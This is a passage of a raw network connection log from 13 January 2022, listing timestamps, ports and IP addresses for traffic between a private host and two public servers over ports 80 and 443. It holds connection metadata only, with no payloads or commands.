Jan 13, 2022 20:51:25.939954042 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.941632986 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.941654921 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.942080021 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.943758011 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.944560051 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.965496063 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.965522051 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.965637922 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.985878944 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.001871109 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.001944065 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.001961946 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.001979113 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.001996040 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002012968 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002026081 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002042055 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002048016 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002059937 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002077103 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002083063 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002089024 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002099991 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002126932 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002144098 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002161026 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002171993 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002182961 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002202034 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002203941 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002219915 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002235889 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002255917 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002264023 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002268076 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002286911 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002301931 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002305031 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002315998 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002331972 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002348900 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002367020 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002367020 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002382040 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002383947 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002401114 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002417088 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002433062 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002450943 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002451897 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002460003 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002470970 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002487898 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002495050 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002507925 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002517939 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002527952 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002543926 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002559900 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002559900 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002578974 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002587080 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002595901 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002612114 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002628088 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002629995 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002644062 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002655029 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002660990 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002677917 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002686977 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002693892 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002711058 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002734900 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002749920 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.002758980 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002768040 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.002798080 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.015485048 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.020188093 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.021164894 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.041341066 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.041373968 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.041521072 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.078377962 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.078430891 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.078459978 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.078486919 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.078514099 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.078536987 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.078551054 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.078566074 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.078608990 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.078613997 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.079221964 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.092782974 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093058109 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093086004 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093102932 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093121052 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093137980 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093153954 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093167067 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.093211889 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093230963 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093250036 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093264103 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.093266010 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.093312025 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.093389988 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.155039072 CET	80	49837	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.156277895 CET	49837	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.165121078 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165144920 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165158033 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165175915 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165189028 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165201902 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165218115 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165235043 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165251017 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165267944 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165282965 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.165287971 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165303946 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165318012 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.165319920 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165337086 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165354013 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165370941 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165371895 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.165388107 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165405035 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165414095 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.165422916 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.165455103 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237065077 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237091064 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237114906 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237142086 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237157106 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237169027 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237185001 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237196922 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237200975 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237209082 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237226963 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237240076 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237245083 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237260103 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237274885 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237303972 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237380028 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237404108 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237421989 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237435102 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237451077 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237466097 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237482071 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237483025 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237494946 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237513065 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237528086 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237529993 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237545013 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237548113 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237560987 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237571955 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237592936 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237600088 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237674952 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237700939 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237720013 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237737894 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237797022 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237906933 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237926960 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237942934 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237956047 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237967014 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237972021 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237979889 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.237986088 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.237994909 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.238012075 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.238042116 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.238056898 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309125900 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309191942 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309231997 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309254885 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309271097 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309310913 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309319019 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309361935 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309400082 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309416056 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309442043 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309463024 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309483051 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309520960 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309561968 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309597969 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309623003 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309662104 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309695005 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309726954 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309736967 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309750080 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309772968 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309782028 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309825897 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309890985 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.309895039 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309937954 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.309973001 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310012102 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310026884 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310053110 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310064077 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310092926 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310132980 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310179949 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310195923 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310218096 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310226917 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310257912 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310297012 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310338974 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310359955 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310380936 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310395002 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310419083 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310458899 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310503006 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310522079 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310540915 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310570002 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310580015 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310619116 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310631990 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310658932 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310703039 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310741901 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310779095 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310786009 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310816050 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310818911 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310859919 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310899019 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310920954 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.310936928 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310976028 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.310976982 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.311014891 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.311053038 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.311053038 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.311093092 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.311100006 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.382966042 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383009911 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383049965 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383050919 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383093119 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383110046 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383133888 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383173943 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383213997 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383228064 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383254051 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383284092 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383311987 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383352995 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383388996 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383407116 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383430004 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383445024 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383471012 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383513927 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383562088 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383583069 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383599043 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383620977 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383641005 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383682966 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383723974 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383750916 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383763075 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383789062 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383805990 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383852005 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383898020 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383936882 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.383960962 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.383974075 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.384562016 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.384608984 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.384645939 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.384646893 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.384692907 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.384756088 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385209084 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385248899 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385289907 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385329008 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385329962 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385402918 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385442972 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385452032 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385456085 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385492086 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385535002 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385580063 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385600090 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385620117 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385631084 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385662079 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385699034 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385736942 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385756016 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385776043 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385796070 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385814905 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385895014 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385937929 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385970116 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.385974884 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.385998011 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.457715034 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.457775116 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.457820892 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.457851887 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.457875013 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.457887888 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.457920074 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.457957029 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.457998037 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.457999945 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458038092 CET	80	49840	141.8.194.74	192.168.2.5
